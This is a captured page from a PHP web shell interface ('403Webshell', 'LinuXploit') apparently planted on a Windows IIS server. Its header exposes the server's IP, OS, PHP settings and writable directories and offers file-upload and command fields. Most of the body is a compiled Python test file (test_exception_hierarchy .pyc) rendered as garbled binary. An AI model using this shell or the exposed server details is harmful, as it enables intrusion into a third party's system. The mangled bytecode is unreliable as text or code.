403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_exception_hierarchy.cpython-313.opt-2.pyc
�

��i���v�SSKrSSKrSSKrSSKrSSKrSSKrSSKJr "SS\5r"SS\5r	"SS\5r
"S	S
\	\
5r"SS\
\	5r"S
S\5r
"SS\R5r"SS\R5r"SS\R5r\S:Xa\R&"5 gg)�N)�EEXISTc��\rSrSrSrg)�
SubOSError�
�N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��2C:\Python313\\Lib\test\test_exception_hierarchy.pyrr
���rrc�(^�\rSrSrU4SjrSrU=r$)�SubOSErrorWithInit�
c�0>�X l[TU]	U5 g�N)�bar�super�__init__)�self�messager�	__class__s   �rr�SubOSErrorWithInit.__init__s�����
����!r�r)r	r
rrrr
�
__classcell__�rs@rrr
s
���"�"rrc�(^�\rSrSrU4SjrSrU=r$)�SubOSErrorWithNew�c�2>�[TU]X5nX#lU$r)r�__new__�baz)�clsrr%rrs    �rr$�SubOSErrorWithNew.__new__s����w��s�,�����r�r%)r	r
rrr$r
rrs@rr!r!s
����rr!c��\rSrSrSrg)�SubOSErrorCombinedInitFirst�rNrrrrr*r*rrr*c��\rSrSrSrg)�SubOSErrorCombinedNewFirst�rNrrrrr-r-rrr-c��\rSrSrSrSrg)�SubOSErrorWithStandaloneInit�c��grr�rs rr�%SubOSErrorWithStandaloneInit.__init__s��rrN)r	r
rrrr
rrrr0r0s��
rr0c�L�\rSrSrSrSrSrSrSr\"\5r	Sr
SrS	rg
)�
HierarchyTest�#c��UR[RS5 UR[[5 UR[
[5 g)N�OSError)�assertEqualr9r	�assertIs�IOError�EnvironmentErrorr3s r�test_builtin_errors�!HierarchyTest.test_builtin_errors%s5������)�)�9�5��
�
�g�w�'��
�
�&��0rc�L�UR[R[5 UR[RR
[5 UR[RR
[5 UR[R[5 gr)	r;�socket�errorr9�gaierror�__base__�herror�timeout�TimeoutErrorr3s r�test_socket_errors� HierarchyTest.test_socket_errors*sV���
�
�f�l�l�G�,��
�
�f�o�o�.�.��8��
�
�f�m�m�,�,�g�6��
�
�f�n�n�l�3rc�L�UR[R[5 gr)r;�selectrBr9r3s r�test_select_error�HierarchyTest.test_select_error0s���
�
�f�l�l�G�,rae
        +-- BlockingIOError        EAGAIN, EALREADY, EWOULDBLOCK, EINPROGRESS
        +-- ChildProcessError                                          ECHILD
        +-- ConnectionError
            +-- BrokenPipeError                              EPIPE, ESHUTDOWN
            +-- ConnectionAbortedError                           ECONNABORTED
            +-- ConnectionRefusedError                           ECONNREFUSED
            +-- ConnectionResetError                               ECONNRESET
        +-- FileExistsError                                            EEXIST
        +-- FileNotFoundError                                          ENOENT
        +-- InterruptedError                                            EINTR
        +-- IsADirectoryError                                          EISDIR
        +-- NotADirectoryError                                        ENOTDIR
        +-- PermissionError                        EACCES, EPERM, ENOTCAPABLE
        +-- ProcessLookupError                                          ESRCH
        +-- TimeoutError                                            ETIMEDOUT
    c�p�0nUR5H�nURS5nU(dMURS5up4n[SUR5R	S55HAnUS:Xa[[U5(dM [[U5U[[U5'MC M� U$)Nz+- � z, �ENOTCAPABLE)	�
splitlines�strip�	partition�filter�split�hasattr�errno�getattr�builtins)�s�_map�line�excname�_�errnames�errnames       r�	_make_map�HierarchyTest._make_mapFs������L�L�N�D��:�:�e�$�D���#'�>�>�#�#6� �G��!�$����(8�(>�(>�t�(D�E���m�+�G�E�7�4K�4K��07��'�0J��W�U�G�,�-�F�#��rc���[[S5nUR[U5[5 UR
R
5H,up#[US5nUR[U5U5 M. [[R5[UR
5-
nUH8n[US5nUR[U5[[U55 M: g)N�Bad file descriptorzSome message)r9rr;�type�FileExistsErrorr[�items�setrW�	errorcode�repr)r�e�errcode�exc�
othercodess     r�test_errno_mapping� HierarchyTest.test_errno_mappingTs���
�F�1�2���
�
�d�1�g��/� �I�I�O�O�-�L�G����0�A��M�M�$�q�'�3�'�.�����)�C��	�	�N�:�
�!�G����0�A��M�M�$�q�'�7�D��G�4�"rc�.�Sn[U5 URS5 UR[R
R
U55 [R"U5 URS5 g![a Ncf=f![a gf=f)N� some_hopefully_non_existing_filez&should have raised a FileNotFoundError)�open�fail�FileNotFoundError�assertFalse�os�path�exists�unlink)r�filenames  r�test_try_except�HierarchyTest.test_try_exceptbs���5��	@���N�
�I�I�>�?�	
���������1�2�	@��I�I�h��
�I�I�>�?��!�	��	��!�	��	�s#�A7�B�7
B�B�
B�BrN)
r	r
rrr>rHrL�_pep_maprar[ror|r
rrrr6r6#s4��1�
4�-�
�H�"��X��D�5�@rr6c�r�\rSrSrSrSr\R"\RS:HS5S5r
SrSrg	)
�AttributesTest�zc��[RS:Xa URS[[55 gURS[[55 g)N�nt�winerror)rw�name�assertIn�dirr9�assertNotInr3s r�test_windows_error�!AttributesTest.test_windows_error|s3��
�7�7�d�?��M�M�*�c�'�l�3����Z��W��6rc�~�[[SS5nURUR[5 URURS[5 URUR
S5 URURS5 [RS:XaURURS5 gg)N�File already exists�foo.txtrr�)
r9rr:rW�args�strerrorr{rwr�r��rrks  r�test_posix_error�AttributesTest.test_posix_error�s����F�1�9�=��������&�)���������F�+�������%:�;�������Y�/�
�7�7�d�?����Q�Z�Z��.�rr�zWindows-specific testc�N�[SSSS5nURURS5 URUR[5 URUR
S[5 URURS5 URURS5 g)Nrr�r��)r9r:r�rWrr�r�r{r�s  r�test_errno_translation�%AttributesTest.test_errno_translation�s~��
�A�,�i��=��������S�)�������&�)���������F�+�������%:�;�������Y�/rc�.�Sn[S5HXn[USU6nUR[5 UR SSS5 UR[5 U?SSS5 MZ [SSS5nURURS5 SUlURURS5 U?UR[5 UR SSS5 g!,(df   N�=f!,(df   M�=f!,(df   g=f)N)�a�b�c�drk�r�r���)�range�BlockingIOError�assertRaises�AttributeError�characters_writtenr:)rr��nrks    r�test_blockingioerror�#AttributesTest.test_blockingioerror�s���(���q��A���b�q��*�A��"�"�>�2��$�$�3��"�"�>�2��(�3�2�	�
�C��a�(������-�-�q�1� �������-�-�q�1�
� �
�
�
�~�
.�
� � �/�
.�3�2��2�2��/�
.�s#�
C#�C4�

D�#
C1	�4
D	�
DrN)
r	r
rrr�r��unittest�
skipUnlessrwr�r�r�r
rrrr�r�zs<��7�/�������D��*A�B�0�C�0�!rr�c�>�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�ExplicitSubclassingTest�c�b�[[S5nUR[U5[5 g)Nrd)rrr;rer�s  rro�*ExplicitSubclassingTest.test_errno_mapping�s!���v�4�5���
�
�d�1�g�z�*rc��[SS5nURURS5 URURS5 g�N�some messager%�r��rr:rr�r�s  r�test_init_overridden�,ExplicitSubclassingTest.test_init_overridden�s7���~�u�5���������&�������!2�3rc��[SSS9nURURS5 URURS5 g)Nr�r%rr�r�r�s  r�test_init_kwdargs�)ExplicitSubclassingTest.test_init_kwdargs�s7���~�5�9���������&�������!2�3rc��[SS5nURURS5 URURS5 gr��r!r:r%r�r�s  r�test_new_overridden�+ExplicitSubclassingTest.test_new_overridden�s7���n�e�4���������&�������!2�3rc��[SSS9nURURS5 URURS5 g)Nr�r%r(r�r�r�s  r�test_new_kwdargs�(ExplicitSubclassingTest.test_new_kwdargs�s7���n�%�8���������&�������!2�3rc��[SS5nURURS5 URURS5 URURS5 [SS5nURURS5 URURS5 URURS5 gr�)r*r:rr%r�r-r�s  r�test_init_new_overridden�0ExplicitSubclassingTest.test_init_new_overridden�s���'���>���������&��������&�������!2�3�&�~�u�=���������&��������&�������!2�3rc��[5nURURS5 UR[U5S5 g)Nr�)r0r:r��strr�s  r�test_init_standalone�,ExplicitSubclassingTest.test_init_standalone�s2��(�*���������$�����Q���$rrN)r	r
rrror�r�r�r�r�r�r
rrrr�r��s%��+�
4�
4�
4�
4�
4�%rr��__main__)rYrwrKrAr�rWrr9rrr!r*r-r0�TestCaser6r�r�r	�mainrrr�<module>r�s����	�
�
����	��	�"��"�
���	�"4�6G�	�	�!2�4F�	�
�7�
�
T@�H�%�%�T@�n)!�X�&�&�)!�X)%�h�/�/�)%�X�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit